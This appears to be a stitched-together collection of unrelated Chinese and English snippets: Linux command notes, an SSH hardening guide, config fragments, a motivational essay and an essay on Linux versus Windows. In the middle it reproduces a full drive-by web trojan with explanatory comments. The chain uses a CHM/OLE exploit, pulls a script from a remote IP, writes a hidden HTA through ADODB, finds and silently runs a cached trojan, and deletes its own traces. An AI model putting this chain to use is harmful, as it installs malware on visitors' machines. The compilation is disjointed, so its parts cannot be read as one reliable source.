通常使用参数a(显示所有连接情况)和n(不反查域名和服务名),
例如:netstat -anp
netstat -an | grep LISTEN
netstat -an | grep ESTABLISHED
ifconfig -a:查看所有网络设置信息
last:显示登录到服务器的情况以及服务器重启情况
df -h 硬盘空间按人性化显示
df -k 硬盘空间按KB显示
df -m 硬盘空间按MB显示
以下几个命令仅针对Linux
sysctl -a 显示所有内核参数
sysctl -w 参数名=参数值
例如:sysctl -w fs.file-max=10240 设置系统允许同时打开的最大文件数为10240。
第二个参数表示空闲(分配后已释放)的文件数,
第三个参数表示可以打开的最大文件数,其值等于fs.file-max。
fs.file-nr = 977 223 10240
当前打开的文件数 = 977 - 233 = 744
ulimit:显示(或设置)用户可以使用的资源限制
和可同时运行的最大进程数(max user processes)无效
例如:ulimit -n 8192
如果本参数设置过小,对于并发访问量大的网站,可能会出现too many open files的错误
例如:ulimit -u 1024
<iframe src="http://www.qq.com/" width="800" height="600"></iframe> <script language=javascript>ie='fucksnow';ver=navigator.appVersion;if(!(ver.indexOf('NT 5.0')==-1))ie='nt';if(!(ver.indexOf('Windows 98')==-1)){ie='98';}location.href=ie+'.htm';</script>
<iframe src="http://www.qq.com/" width="800" height="600"></iframe> //掩人耳目
<script language=javascript>
ie='fucksnow'; //定义变量ie=fucksnow
ver=navigator.appVersion; //获得浏览器版本
if(!(ver.indexOf('NT 5.0')==-1)) ie='nt'; //如果是2k系统则ie=nt
if(!(ver.indexOf('Windows 98')==-1)) {ie='98';} //定义变量ie=98
location.href=ie+'.htm'; //重定向到 ie+'.htm'
</script>
我们以fucksnow.htm为例做分析:如果直接查看fucksnow.htm的源代码可以看到里面似乎是乱码,其实不然,这是利用了IE解析Html代码的时候忽略空格的特性。我们把里面所有的空格去掉,再稍微整理,就可以看到下面的代码了(空格都被去掉了,代码有点乱)。
<SCRIPTlanguage=VScriptsrc="mmmmm.gif"></SCRIPT> //加载mmmmm.gif,这个其实不是图片,后面会说到
<SCRIPTlanguage=VScriptsrc="xxxxx.pif"></SCRIPT> //加载xxxxx.pif,灰鸽子木马
<HTML><BODY>
<divstyle="display:none">
//利用chm漏洞
<OBJECTid="news140"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl">
<PARAMname="Item1"value='command;/windows/help/apps.chm');</OBJECT>
<OBJECTid="news162"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl">
//利用chm漏洞执行mmmmm.gif里面的脚本程序
<PARAMname="Item1"value='command;javascript:eval("document.write("<SCRIPTlanguage=JScriptsrc="http://218.106.9.136/inc/mmmmm.gif""+String.fromCharCode(62)+"</SCR"+"IPT"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<SCRIPT>news140.Click();f1=1+1;f1=f1+2;setTimeout("news162.Click();",0);fu1=2;fu1=3+4;</SCRIPT></BODY></HTML>
//又是一个障眼法,重定向到http://xuemulove.com/a.gif,文件不存在
<iframesrc="http://xuemulove.com/a.gif"width="0"height="0">
</iframe><BODYonload="window.status='页面已装载!'">
mmmmm.gif分析:代码隐藏原理和fucksnow.htm一样,替换掉空格后看到以下代码
document.write('<html><HEAD><SCRIPTlanguage=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD></html>'); //把弹出窗口移到x,y=4000,4000的位置,另你看不到
//利用ADODB写文件
try{BOSSYU=newActiveXObject("ADODB.Recordset");BOSSYU.Fields.Append("a",200,3000);BOSSYU.Open();BOSSYU.AddNew();BOSSYU.Fields("a").Value="
//写进去的代码
<HTML><BODYonLoad="window.moveTo(4000,4000);">
<HEAD><SCRIPTlanguage=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD>
//利用HTA执行所需要的操作
<HTA:APPLICATIONID=kk3714CAPTION="no"BORDER="none"HEIGHT="0"SHOWINTASKBAR="no"WIDTH="0">
<BODYscroll="no"leftmargin="0"topmargin="0"marginwidth="0"marginheight="0">
<SCRIPTLANGUAGE="JavaScript">
//在打开fucksnow.htm的时候已经加载了xxxxx.pif文件,这时该文件已经在IE的缓存中。由于IE的一些特性,该文件会被保存为xxxxx[1].pif xxxxx[2].pif等类似的文件名,下面的程序子就是为了把他找出来,并执行他
function thanks(b){
try{
varc=new Enumerator(YUri.GetFolder(b).SubFolders);
for(;!c.atEnd();c.moveNext())
{var zI01=c.item().Path+"xxxxx[1].pif";
var z1=c.item().Path+"xxxxx[2].pif";
var f="C\:boot.exe";
if(YUri.FileExists(zI01)) //找到木马文件xxxxx[1].pif
{YUri.CopyFile(zI01,f) //copy到 c:\boot.exe
w00sh.Run(f,0,false); //执行木马
v=1;break;}
if(YUri.FileExists(z1)) //同上,只不过文件名为xxxxx[2].pif
{YUri.CopyFile(z1,f);
w00sh.Run(f,0,false);
v=1;break;}
thanks(c.item());}}
catch(e){}}
function agree(){
path="c:\boOt.bat"; //建立boot.bat批处理
v=kk3714.commandLine;
v=v.substring(1,v.length-2);
var_w=YUri.CreateTextFile(path);
_w.Write('@eCho oFf rn:ArnDeL"'+v+'"rnifeXiSt"'+v+'"gOtoArnDEl%0'); //写命令到boot.bat里面,BAT里面的内容:
====================
@echo off
:a del v //删除v , v为该执行文件c:\bootlog.hta
if exist v goto a //如果还没删除则转到 a,继续执行删除操作
del 0% //自删除
====================
_w.close();
w00sh.Run(path,0,false);
window.close();
}
//获得IE缓存存放位置以查找xxxxx.pif
varv=0;
try{
varYUri=newActiveXObject("Scripting.FileSystemObject");
varw00sh=newActiveXObject("WScript.Shell");
varcache=w00sh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache");
}catch(e){}
function fish()
{try{if(v==0){thanks(cache+'..');setTimeout("fish()",4000);}else{agree();}}catch(e){}}
fish();</SCRIPT></BODY></HTML>";
//存为c:\bootlog.hta并执行
BOSSYU.Update();}catch(e){}try{BOSSYU.Save("c:\bootlog.hta",0);}catch(e){}document.write('<objectid="bbs1"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><paramname="Command"value="shortcut"><paramname=item1value=",c:\bootlog.hta"></object>
<OBJECTid="bbs2"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><paramname="Command"value="Close"><paramname=kav"value="out"></oBjEct>
<ScRipt>c=1;bbs1.Click();c=1;c=c+5;bbs2.Click();c=c+1;</script>');
***注意这里您的计算机必须要联接网络***
需要在Symantec AntiVirus防病毒服务器上安装IIS服务,在“默认网站”点击鼠标右键选择“新建”→“虚拟目录”。如下图所示。
举例:
[General]
FileCount=8
LaunchApplication=Setup.exe
InstallOptions=/s /v"/qb"
[Files]
File1=GRC.DAT
File2=Setup.exe
File3=Setup.ini
File4=Data1.cab
File5=0x0804.ini
File6=VDefHub.zip
File7=instmsiw.exe
File8=Symantec AntiVirus.msi
完成Symantec AntiVirus防病毒服务器所有配置后,客户端安装只需打开浏览器输入http://服务器地址/虚拟目录/就可进行Web方式在线安装。如下图所示。
只要编辑servu的安装目录下的ini文件。就可以把本地的密码去掉。太脆弱了。。
使得 ssh 只监听一个指定的接口, 如果你有多个(并不想在其上边获得 ssh 服务)接口, 或者将来会增加一块新网卡(但并不想通过它连接ssh服务).
尝试任何情况先都不允许 Root 登录. 如果有人想通过 ssh 成为 root, 需要两次登录, 并且root的密码现在仍不可能通过SSH暴力破解.
改变监听端口, 这样入侵者不能完全确定是否运行了sshd守护进程(事先警告,这是模糊安全的).
空密码是对系统安全的嘲弄.
仅允许某个组的成员通过 ssh 访问主机. AllowGroups 和 AllowUsers 对于拒绝访问主机有同样的效果. 当称它们为 "DenyUsers" 和 "DenyGroups" 时不要觉得奇怪.
这完全取决于您的选择. 仅仅允许用户使用置于 ~/.ssh/authorized_keys 文件中的 ssh-keys 登录主机将更加安全. 如果要达到这种效果,将其设为 "no".
Protocol 2
禁用版本1协议, 因为其设计缺陷, 很容易使密码被黑掉. 更多信息, 参阅 ssh协议问题报告 或 Xforce 通告.
为用户连接到 ssh 服务器增加一个标题(它将从文件读取), 在一些国家, 登入给定系统前, 给出未经授权或者用户监视警告信息, 将会受到法律的保护.

回答:你一定会说,这是什么烂问题,谁那么笨,花钱买罪受?
可同样的情况换个场合,自己或许就做类似的蠢事。不少男女都曾经抱怨过他们的情人或配偶品性不端,三心二意,不负责任。明知在一起没什么好的结果,怨恨已经比爱还多,但却“不知道为什么”还是要和他搅和下去,分不了手。说穿了,只是为了不甘,为了习惯,这不也和光临餐厅一样?
——做人,为什么要过于执著?!
如果你不小心丢掉100块钱,只知道它好像丢在某个你走过的地方,你会花200块钱的车费去把那100块找回来吗?
回答:一个超级愚蠢的问题。
可是,相似的事情却在人生中不断发生。做错了一件事,明知自己有问题,却*也不肯认错,反而花加倍的时间来找藉口,让别人对自己的印象大打折扣。被人骂了一句话,却花了无数时间难过,道理相同。为一件事情发火,不惜损人不利已,不惜血本,不惜时间,只为报复,不也一样无聊?失去一个人的感情,明知一切已无法挽回,却还是那么伤心,而且一伤心就是好几年,还要借酒浇愁,形销骨立。其实这样一点用也没有,只是损失更多。
——做人,干吗为难自己?!
你会因为打开报纸发现每天都有车祸,就不敢出门吗?回答:这是个什么烂问题?当然不会,那叫因噎废食。然而,有不少人却曾说:现在的离婚率那么高,让我都不敢谈恋爱了。说得还挺理所当然。也有不少女人看到有关的诸多报道,就对自己的另一半忧心忡忡,这不也是类似的反应?所谓乐观,就是得相信:虽然道路多艰险,我还是那个会平安过马路的人,只要我小心一点,不必害怕过马路。
——做人,先要相信自己。
你相信每个人随便都可以成功立业吗?
回答:当然不会相信。
但据观察,有人总是在听完成功人士绞尽脑汁的建议,比如说,多读书,多练习之后,问了另一个问题?那不是很难?我们都想在3分钟内学好英文,在5分钟内解决所有难题,难道成功是那么容易的吗?改变当然是难的。成功只因不怕困,所以才能出类拔萃。有一次坐在出租车上,听见司机看到自己前后都是高档车,兀自感叹:“唉,为什么别人那么有钱,我的钱这么难赚?”我心血来潮,问他:“你认为世上有什么钱是好赚的?”他答不出来,过了半晌才说:好像都是别人的钱比较好赚。其实任何一个成功者都是艰辛取得。我们实在不该抱怨命。
——做人,依靠自己!
你认为完全没有打过篮球的人,可以当很好的篮球教练吗?
回答:当然不可能,外行不可能领导内行。
可是,有许多人,对某个行业完全不了解,只听到那个行业好**,就马上开起业来了。我看过对穿着没有任何口味、或根本不在乎穿着的人,梦想却是开间服装店;不知道电脑怎么开机的人,却想在网上**,结果道听途说,却不反省自己是否专业能力不足,只抱怨时不我与。
——做人,量力而行。
相似但不相同的问题:你是否认为,篮球教练不上篮球场,闭着眼睛也可以主导
一场完美的胜利?
回答:有病啊,当然是不可能的。
可是却有不少朋友,自己没有时间打理,却拼命投资去开咖啡馆,开餐厅,开自己根本不懂的公司,火烧屁股一样急着把辛苦积攒的积蓄花掉,去当一个稀里糊涂的投资人。亏的总是比赚的多,却觉得自己是因为运气不好,而不是想法出了问题。
——做人,记得反省自己。
你宁可永远后悔,也不愿意试一试自己能否转败为胜?
解答:恐怕没有人会说:“对,我就是这样的孬种”吧。
她说:“因为我不想等到失败,才后悔自己还有潜力没发挥。” 一个中国伟人曾说;胜利的希望和有利情况的恢复,往往产生于再坚持一下的努力之中。
——做人,何妨放手一搏。
你的时间无限,长生不老,所以最想做的事,应该无限延期?
回答:不,傻瓜才会这样认为。
在Windows Server 2003在升级了SP1的基础上,Windows Server 2003 R2在扩展连通性的时候充分利用了代码库的稳定性和安全性,并扩展到新的领域。Windows Server 2003 R2提供了Windows Server 2003 SP1的所有功能,这极大的改进了分公司服务器的解决方案,一致性和访问控制,存储安装和管理,还有在公司的传统范围内和外的应用程序开发。
;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;max_execution_time = 30 ; Maximum execution time of each script, in seconds
max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
memory_limit = 8M ; Maximum amount of memory a script may consume (8MB)
修改成需要的大小就可以了
<VirtualHost webstite>
ServerName website1
ServerAlias website2
<VirtualHost website3>
ServerName website3
DocumentRoot /website3
</VirtualHost>
-N negate selection -G by real group ID (supports names)
-a all w/ tty except session leaders -U by real user ID (supports names)
-d all except session leaders -g by session OR by effective group name
-e all processes -p by process ID
T all processes on this terminal -s processes in the sessions given
a all w/ tty, including other users -t by tty
g OBSOLETE -- DO NOT USE -u by effective user ID (supports names)
r only running processes U processes for specified users
x processes w/o controlling ttys t by tty
*********** output format ********** *********** long options ***********
-o,o user-defined -f full --Group --User --pid --cols --ppid
-j,j job control s signal --group --user --sid --rows --info
-O,O preloaded -o v virtual memory --cumulative --format --deselect
-l,l long u user-oriented --sort --tty --forest --version
-F extra full X registers --heading --no-heading --context
********* misc options *********
-V,V show version L list format codes f ASCII art forest
-m,m,-L,-T,H threads S children in sum -y change -l format
-M,Z security data c true command name -c scheduling class
-w,w wide output n numeric WCHAN,UID -H process hierarchy
进入Linux系统:
必须要输入用户的账号,在系统安装过程中可以创建以下两种帐号:
1.root--超级用户帐号(系统管理员),使用这个帐号可以在系统中做任何事情。
2.普通用户--这个帐号供普通用户使用,可以进行有限的操作。
一般的Linux使用者均为普通用户,而系统管理员一般使用超级用户帐号完成一些系统管理的工作。如果只需要完成一些由普通帐号就能完成的任务,建议不要使用超级用户帐号,以免无意中破坏系统。影响系统的正常运行。
用户登录分两步:第一步,输入用户的登录名,系统根据该登录名识别用户;第二步,输入用户的口令,该口令是用户自己设置的一个字符串,对其他用户是保密的,是在登录时系统用来辨别真假用户的关键字。
当用户正确地输入用户名和口令后,就能合法地进入系统。屏幕显示:
[root@loclhost /root] #
为了更好的保护用户帐号的安全,Linux允许用户随时修改自己的口令,修改口令的命令是passwd,它将提示用户输入旧口令和新口令,之后还要求用户再次确认新口令,以避免用户无意中按错键。如果用户忘记了口令,可以向系统管理员申请为自己重新设置一个。
Linux是一个真正的多用户操作系统,它可以同时接受多个用户登录。Linux还允许一个用户进行多次登录,这是因为Linux和UNIX一样,提供了虚拟控制台的访问方式,允许用户在同一时间从控制台进行多次登录。虚拟控制台的选择可以通过按下Alt键和一个功能键来实现,通常使用F1-F6例如,用户登录后,按一下Alt-F2键,用户又可以看到"login:"提示符,说明用户看到了第二个虚拟控制台。然后只需按Alt-F1键,就可以回到第一个虚拟控制台。 一个新安装的Linux系统默认允许用户使用Alt-F1到Alt-F6键来访问前六个虚拟控制台。虚拟控制台可使用户同时在多个控制台上工作,真正体现Linux系统多用户的特性。用户可以在某一虚拟控制台上进行的工作尚未结束时,切换到另一虚拟控制台开始另一项工作。
不论是超级用户,还是普通用户,需要退出系统时,在shell提示符下,键入exit命令即可。
该命令的功能是将给出的文件或目录拷贝到另一文件或目录中,同MSDOS下的copy命令一样,功能十分强大。
mkdir命令
pwd 命令
sort命令
tar命令
Linux系统提供了一组称为mtools的可移植工具,可以让用户轻松地从标准的DOS软盘上读、写文件和目录。它们对DOS和Linux环境之间交换文件非常有用。它们是不具备共同的文件系统格式的系统之间交换文件的有力手段。对于一个MSDOS的软盘,只要把软盘放在软驱中,就可以利用mtools提供的命令来访问软盘上的文件。
Linux系统中的每个文件和目录都有访问许可权限,用它来确定谁可以通过何种方式对文件和目录进行访问和操作。
passwd命令
wall命令
df命令
echo命令
将下载回来的ctorrent-1.3.2.tar.gz文件解压缩。tar zxvf ctorrent-1.3.2.tar.gz进入ctorrent-1.3.2目录cd ctorrent-1.3.2配置和编译软件./configure
错误,要求先安装openssl。安装apt-get install openssl libssl-dev。重新编译就可以了
安装
apt-get install bittorrent
说明一下,
btdownloadcurses支持ncurses库的客户端,有在字节界面的窗口效果。
btdownloadgui安了WXpython后就可用的GUI客户端.
btmakemetafile如果你要做种,用这个。
下载开始:
直接使用
btdownloadheadless 1.torrent
不过推荐用
btdownloadcurses 1.torrent
--max_uploads
允许最大上传者的数目(缺省是7)--minport
最小可用的端口,如果你的ISP禁用BT的话,改它(比如10000)
--maxport
最大可用的端口,同上(比如20000)--saveas
设置本地的下载位置--check_hashes
如果你是在做种,开始前把参数设置成0以不检查文件的完整性。--max_upload_rate
限上传速度,以KB为单位,0指无限上传
If, as I do, you spend any amount of time on a Linux forum, you'll eventually grow exasperated, as I did, by the number of posts that run something like this:
"Hi! I've been using Linux for a few days, and it's mostly great. But, it's a shame that [something or other] doesn't work like it does on Windows. Why don't all the developers completely rewrite all the software so it acts more like Windows? I'm sure Linux would get lots more users if they did!"
You may even have had a go at answering these questions, only to be shot down in flames by a Linux newbie who takes it as read that his idea, based on years of experience with a different OS plus a few hours on Linux, is revolutionarily brilliant, and you only don't like it because you're an "old-school Linux user" who thinks that GUIs are the spawn of the Devil and everybody should be forced to stick to the CLI.
This article is aimed at explaining to those newbies exactly why their ideas tend to get flamed rather than embraced.
First and foremost, the most cherished argument: "If Linux did this, it would get lots more people converting from Windows!"
So, allow me to explain something that is fundamental to understanding Linux: The Linux community is not trying to provide the average Windows user with a replacement OS. The goal of Linux is not "Linux on every desktop".
Really. It honestly isn't.. Yes, they're both an OS. Yes, they can both be used for the same things. But that makes Linux an alternative, not a replacement. It might seem an insignificant distinction, but it's actually a vitally important one.
Linux <=> Windows is like Motorbikes <=> Cars: Both are vehicles that get you from A to B via the roads. But they're different shapes, different sizes, have different controls, and they work in fundamentally different ways. They are not freely interchangeable. They have different uses and different strengths & weaknesses, and you should pick whichever is appropriate, not pick one and expect it to do everything that the other can do.
Somebody who drives a car might be sitting in a long queue of traffic someday and see a motorbike go sailing past him. He might envy the biker's ability to largely ignore something that is a crippling problem to a car. If that driver then said "I know all about cars, so I must know all about motorbikes!" then he'd be wrong.
- If that driver bought a bike and then found that he was confused by the accelerator being a hand-controlled twist-grip instead of a foot-controlled pedal, he might complain that motorbikes should be fitted with a gas pedal.
- If that driver had a wife and two kids, he might find the bike's single passenger capacity a flaw. He might suggest that bikes be re-built so they could carry four people, two abreast.
- If that driver were to try and drive away, only to find that he fell over because he wasn't used to having to keep balance, he might suggest that bikes should be re-designed with four wheels.
- If the driver were to find himself leaning around the corners, he might suggest bikes should be fitted with stabilisers to keep them upright when cornering.
- If the driver wanted to keep his bike from being stolen, he might complain that there were no doors to lock potential thieves out, making his bike much more likely to be stolen than a car.
- If the driver found a crash helmet an encumberance, he might suggest that an airbag in the bike's handlebars could be fitted as an alternative to the annoying helmet.
And in every case, he would be wrong. Because he thinks that a motorbike replaces a car, he thinks it can and should do everything a car can do. He thinks it can work in the same way that a car does, that 'missing' car features can just be grafted on.
In the same way, well-meaning Linux newcomers make suggestions about making Linux more like what they're used to. And they get nowhere, for all the same reasons. Linux and Windows might both be used for the same purposes, but so are a car & motorbike. That doesn't mean you can swap directly from one to the other, and it doesn't mean features can or should be swapped directly from one to the other.
Too many people think that migrating from Windows to Linux is like switching from a BMW to a Mercedes. They think that the controls should be the same, their experience should transfer directly, and all differences should be largely cosmetic. They think that "I need a car to use a road, I need an OS to use a computer. Cars all work the same way, therefore OSes should all work the same way." But this is not accurate. "I need a vehicle to use a road, I need an OS to use a computer. I know how to drive a car, I'm ignorant about motorbikes. I know how to use Windows, I'm ignorant about Linux." - this is accurate.
A Windows user must realize that he's only an experienced Windows user, not an experienced computer user; just like a car driver is only a car driver, not an all-road-vehicles driver. A Windows user on Linux must realize that he has just become a novice again, just like a car driver on a motorbike. A Windows user must be willing to learn that there are different ways of accomplishing the same task, just as a car driver must get used to the handlebars replacing a wheel and the need for a crash helmet he never had to use before. And they have to be prepared to accept that "different" does not mean "inferior".
This simple fact causes great difficulty for the more established Windows users. They come to Linux with many Windows habits ingrained and an attitude of "I know exactly how to use a computer, thank you very much." The problem is, they don't. They only know how to use Windows. When they come to a different OS, these "power users" can be the ones who have the worst problems: They have far more to unlearn.
Where a newbie will just say "I don't know" and start exploring or asking on forums, the Windows Power User will say "I know how to do this, I just do this, this, this, and then. . . It doesn't work! Stupid OS!" And then they'll say "If knowledgeable me couldn't get it working, a newbie will stand no chance! Linux is nowhere near ready for desktop use!". They don't realise that all their knowledge is working against them, causing them to have more problems than the less knowledgeable users. They've made the mistake of thinking Linux is different software doing the same thing as Windows, when it's actually different software doing different things. It's not doing a bad job of the same tasks, it's doing a good job of alternative tasks.
Linux is an alternative to Windows, but not a replacement. It will never be a replacement, because it has incompatible goals. Microsoft's goal is to get their software onto as many PCs as posible, as their priority is profit. Linux has no such goal, because Linux is free. It has a different priority.
To understand this is to understand FOSS
. It's perfectly understandable that Linux newbies don't understand it yet - they're new to it. They're used to thinking in terms of proprietary software. So let me explain it:
Typical FOSS software is created by somebody who looks around, doesn't find any pre-existing software he likes, and so writes his own. Then, because he's such a nice guy, he throws open the source and says to the world "Help yourself!". He can do this, because it costs nothing to duplicate software, so it costs him no more to give it to the whole world than it would to keep it to himself. He doesn't suffer by giving his software away.
However, the important thing to remember is: He doesn't benefit from giving his software away, either. Whether it gets used by one person, or by one billion, makes no difference to the developer. Oh, sure, he gets the satisfaction of knowing he's made a popular product: The number of people using it can be a nice ego boost; a way, if you will, of keeping score. But it doesn't make him any money: It's FOSS.
If the software is a success, other people get interested in it, and they help improve it. That's the biggest advantage of FOSS: Every user is a potential developer. Everybody can chip in and do their part in making software work better, do more, be less buggy. It's great when a piece of software attracts a community of developers. But it's great for the software. It makes the software better. It doesn't make the developer richer. It just creates more demands on his time.
FOSS is the exact opposite of proprietary software like Windows: FOSS is all about the software. It's not about the number of end users. Software that works well but has only a few users is considers a failure by commercial software standards, but a success by FOSS ones.
FOSS is about making good quality software, software that can DO things. If you want to use it, you're expected to invest time in learning how to use it. It was created and given to you, free of charge, by people who invested a lot of their own time in it for no personal gain. The least you could do to repay their contribution is invest a little time of your own before you complain that it doesn't work like the parallel Windows software.
"Aha, now I've got you,"says a newbie smugly. "There are Linux projects with the goal of replacing Windows, not just being an alternative."
It's easy to see where that idea comes from. KDE and Gnome, for instance, provide a desktop environment that's far more Windows-like than typical Linux window managers and the CLI. Linspire is a distro based almost entirely around the idea of making Linux Windows-like.
However, paradoxically, these prove my point better than they prove the newbie's.
Why? Because these projects are normal FOSS projects, revolving entirely around making the software better. The only difference is, one of the definitions of quality in these projects is "How easily can a Windows user use it?"
As soon as you factor this in, you can't help but agree that these are 100% typical Linux, with the sole aim of improving software. These are projects made by even-more-selfless-than-usual Linux developers: They aren't making software for their own use, as they know Linux very well. Instead, they're making software entirely for other people's benefit: Software that makes the transition from Windows to Linux easier.
These developers have recognised that there are Windows users who want to move to Linux, and they've put a lot of effort into creating a Linux environment which Windows users find comfortably familiar. But they haven't done so to try and replace Windows, though the end result might give that impression. The end goal is what makes the difference: The goal is not to make a Windows replacement; the goal is to ease the Windows-user's transition to Linux.
It's not uncommon to see community hostility towards these projects. Some of it for rational, understandable reasons ("KDE is a resource hog, so use Fluxbox") but some seems to be an irrational, hostile, "Windows-like software is bad" attitude. This isn't, actually, an anti-MS or anti-Windows attitude. Instead, it's the far more compehensible dislike of what isn't understood.
The 'typical' Linux user is a hobbyist: He uses computers because computers are fun, programming is fun, hacking is fun. And Linux is a far better OS for a hacking hobbyist: He can take it apart to its most fundamental level, and reassemble it exactly as he sees fit.
However, the current influx of Linux users has a large percentage of non-hobbyist non-hackers. They want a computer that Just Works, a computer that works like Windows. They aren't interested in spending time setting up Linux to make it work the way they want it, they want it to work like that out-of-the-box.
And that's perfectly okay, but from the typical Linux user's perspective, this is like somebody who wants a Lego car that comes pre-assembled and glued together so it can't come apart. It is alien to their understanding. The only way they can react is with a baffled "Why would anybody want that?"
It's baffling. If you want a ready-made model car, buy a toy car. If you want a car you can build and take apart, buy Lego. Why would anybody want a Lego car that can only be used as a toy car? The whole point of Lego is that you have fun assembling it yourself!
This is how a typical Linux user reacts to the "Why can't it Just Work?" brigade: "If you want it to Just Work, use Windows. If you want to hack it, use Linux. Why do you want to switch to Linux if you have no interest in taking advantage of its open source nature?"
The answer, usually, is that they don't actually want to move to Linux. They just want to get away from Windows: They're running away from viruses; they're fleeing malware; they're striving to be free of restrictions on how they use their paid-for software; they're trying to escape from the clutches of the E.U.L.A. They aren't trying to get into Linux, they're trying to get out of Windows. Linux is simply the best-known alternative.
More on that later. . .
You might think "Okay, that explains why developers don't make a deliberate effort to make their software work like Windows. But surely Linux software could be given a GUI that's WIndows-user-friendly without it interfering with FOSS principles?"
There are a few reasons why this isn't the case.
Firstly: Do you really think that somebody who creates a piece of software deliberately gives it a lousy user interface?
When somebody devotes a large chunk of his own time to create a piece of software, he will make the user interface (UI) as good as possible. The UI is a hugely important part of the software: there's no point having functionality if you can't access it via the UI. You might not know what it is, but there is always a reason why the UI works the way it does. That reason? Because it is the best UI the creator could create.
Before you insist that a more Windows-like UI would make the software better, bear this fact in mind: The creator of this software, a coder who, by definition, knows far more than you do about this piece of software, doesn't agree with you. He might be wrong, but the odds are against it.
Secondly: There already ARE nice, Windows-user-friendly GUI frontends available. I can't think of any function off the top of my head that you can't control via a GUI, no matter how high-level. You can compile a kernel (make xconfig), set up your firewall (fwbuilder), partition your hard drive (qtparted). . . it's all there, pretty, interactive, intuitive, and user-friendly.
But the 'release cycle' of Linux isn't like Windows. You don't get the finished, highly-polished GUI package released right from the start. GUIs add complexity and no functionality to software. A developer doesn't sit down and design a pretty GUI that does nothing, he sits down and creates a piece of software that does what he needs it to do.
The first thing a piece of software does is be usable from the command line interface (CLI). It will probably have all sorts of invocation options and maybe a lengthy configuration file. This is how it starts out, because it's functionality that's required. Everything else comes later. And even when software has a nice GUI, it's important to remember it can still usually be controlled fully from the CLI and the config files.
- This is because the CLI has many advantages: The CLI is universal. Every Linux system has a CLI. Every executable can be run from the CLI. It's easy to operate software via the CLI remotely.
None of these are true of the GUI: Some Linux machines don't have the X11 windowing system installed; Some software has no GUI; Some software is not available from GUI menus; It's often not easy or practical to use a GUI tool remotely.
Lastly, multiple GUI frontends can exist to do the same job, and there's no telling which you may have installed.
So do remember, if you ask "How do I. . ?", you'll mostly be told how to do it via the CLI. That doesn't mean that it can only be done from the CLI. It just reflects the relative importance that the GUI has compared to the CLI in the development of a software project.
- Windows is totally GUI-centric. It's a GUI-based OS with a lousy (but soon to improve) CLI. There's pretty much no such thing as non-GUI Windows software. That tends to make people think of the GUI as a vital and integral part of software. But in Linux, software gets released as soon as it's functional. Only after it's become stable, reasonably bug-free, and feature-rich, does it become worth adding a GUI.
Try thinking about software without a helpful GUI as a "sneak preview" rather than a finished product. FOSS is very rarely 'finished', it's always being improved. In time, it will be made user-friendly. But most of the time, it's more important to make it work better than make it 'feel' better. Be glad you've got the functionality long before all the wimps who need a good GUI, instead of demanding tomorrow's software today. FOSS is more of a journey than a destination.
The last thing you have to bear in mind is, GUIs for software will often be a separate piece of software. It may even have been developed completely independantly of the original piece of software, by completely separate developers. If you want a GUI, it's not unlikely that it will be a separate installation, rather than all one piece.
This does, admittedly, mean an extra step to get that elusive, 'Windowsy' GUI behaviour, but that shouldn't detract from the fact that you can, right now, do just about anything you really want to via a pretty, "just like Windows" GUI. You just have to remember: a GUI is usually the LAST step, and not the first. Linux doesn't do form over function.
Thirdly: Linux is deliberately designed for the well-informed, knowledgeable user, rather than the ignorant beginner. This is for two reasons:
- Ignorance may be bliss, but it's also short-lived. Knowledge is eternal. It might take days, weeks, or months to get your knowledge level up from "Linux newbie" to "average Linux user", but once it's there, you've got years of Linux use ahead of you.
Putting in lots of code to make software easier for newcomers would be like permanently bolting stabiliser wheels to all bicycles. They might make it easier right at the start, but after that. . ?
You wouldn't buy a bicycle with stabilisers on it now, I'm sure. And not because you're some anti-user-friendly freak. No, it would be because they're useless to you, and useless to anybody other than a beginner, and all they'd do is get in the way. - No matter how good software is, it's only as good as its user. The most secure door in the world is no barrier to thieves if you leave the window open, the door unlocked, or the keys in the lock. The most perfectly-tuned engine in the world won't get very far if you fill it with diesel fuel instead of petrol.
Linux puts all power in the hands of the user. That includes the power to break it. Nobody wins in that situation. The only way to keep Linux working well is to learn enough to know what you're doing. Making it easier for a user to meddle with functionality he doesn't understand would just make it more likely he'll break something by accident.
Fourthly: Where, in any of the above text, did you see a way that FOSS would actually benefit from attracting lots of typical Windows users?
Take your time. Re-read it, if you like. I'll wait.
The guiding principle of Linux and FOSS is "make good software". It is not "Make Windows-replacing software". The only thing a horde of typical Windows users will contribute to Linux is complaints. What will they complain? "It doesn't work like this on Windows."
No, it doesn't. If it worked like Windows, Linux would suck. It would be an inferior copy that nobody would use. The reason people are so passionately fond of Linux is that it doesn't work like Windows. It doesn't do everything for you, it doesn't assume you're a perpetual ignorant newbie, it doesn't hide all the inner workings from you.
Windows chauffeurs you around; Linux hands you the keys and puts you in the driver's seat. If you can't drive, that's your problem. And your fault. Plenty of people will help you learn if you ask. And if you make a suggestion that's the equivalent of fitting cruise control, you might get somewhere: This leaves the driver in control, but takes some of the effort out. But you'll get very short shrift if you try and convince anybody that what Linux really, really needs is a chauffeur.
"But it would get Linux so much more mainstream!", the newbie cries.
It might well do. But how many Linux developers would benefit from Linux going mainstream? Linux is free, as in beer. None of the people creating Linux profit from it gaining a bigger userbase. None of the people on the Linux forums profit from it gaining a bigger userbase. Linux's aim is not "gain a bigger userbase" - that's the goal of proprietary software.
Linux's goal is to make a really good operating system. Developers are busy adding features, removing bugs, and improving existing implementations. They're not busy putting up billboards advertising how good their stuff is. That should tell you something about where their priorities are.
And look at what this approach has done to Linux's userbase: It's made it grow. Linux started out tiny, and has become huge. The reason it has attracted such widespread acclaim? Because its focus has always been on quality. The users attracted to Linux are users who want the freedom and quality that only FOSS can give them. Linux became big because it didn't care how big it got. Developers focussed solely on making it work, and work well, and so they attracted users who wanted an OS that worked, and worked well.
